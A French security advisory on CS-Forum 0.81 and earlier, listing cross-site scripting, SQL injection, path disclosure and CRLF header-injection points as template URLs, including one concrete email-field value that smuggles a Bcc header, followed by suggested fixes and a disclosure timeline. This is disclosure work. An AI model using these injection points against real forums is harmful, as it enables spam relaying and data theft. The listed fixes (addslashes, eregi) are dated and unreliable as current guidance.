*********************************************************
¦ Versions vulnérables : CS-Forum <= 0.81               ¦
¦ Solution             : Passer à la nouvelle version   ¦
¦ Auteurs              : ComScripts TEAM                ¦
¦ Web                  : http://www.comscripts.com/     ¦
*********************************************************


Description
***********
Forum très simple d'installation, ce script est très léger et pourtant il dispose de plusieurs fonctionnalités
telles que le marquage des messages lus, l'affichage avec arborescence, l'envoi de mail en cas de réponse ...
Il est également très facile à intégrer dans votre site grace à l'insertion des pages de votre choix avant et
après le forum (header.php et footer.php). Vous en avez révé, ComScripts.com l'a fait ! :)


Cross Site Scripting
********************
http://[...]/read.php?msg_result=[XSS]
http://[...]/read.php?rep_titre=">[XSS]
http://[...]/ajouter.php?id=">[XSS]
POST http://[...]/ajouter.php?parent=">[XSS]
Cookies: CSForum_nom=">[XSS]; CSForum_mail=">[XSS]; CSForum_url=">[XSS]


Injections SQL
**************
http://[...]/read.php?id=1'[SQL_SELECT]&debut=[SQL_LIMIT]
http://[...]/index.php?search=%'[SQL_SELECT]%23
http://[...]/index.php?debut=1[SQL]                       // Pas besoin de quote


Full Path Disclosure
********************
http://[...]/index.php?readall=&collapse[]=               // setcookie()


CRLF-Injection
**************
POST http://[...]/ajouter.php?addmsg=xxxx&titre=xxx&parent=[DIGIT_DIFFERENT_TO_0]&email=anonymous@hotmail.com%0ABcc:friend@hot.com%0AContent-Type:text/html%0A%0A<u>HELLO</u>%0A


Structure de la table
*********************
CREATE TABLE CSForum (
id int(11) NOT NULL auto_increment, nom varchar(255) NOT NULL,
email varchar(255) NOT NULL, dateCreat datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
texte text NOT NULL, parent int(11) DEFAULT '0' NOT NULL, remoteAddr varchar(15) NOT NULL,
titre varchar(255) NOT NULL, reply enum('0','1') DEFAULT '0' NOT NULL, url varchar(255) NOT NULL,
lastReply datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (id));


Solution
********
S'applique uniquement pour les cas cités plus haut.
Injections SQL       => addslashes() / intval()
Cross Site Scripting => htmlentities() / intval()
Full Path Disclosure => is_string()
CRLF-Injection       => if (eregi("\r",$email) || eregi("\n",$email)){die;}


Credits
*******
Vulnérabilités trouvées par DarkFig
URL : http://www.acid-root.new.fr/advisories/05060611.txt


Changelog
*********
[06-06-11] -- Vendeur contacté
[06-06-12] -- Nouvelle version 0.82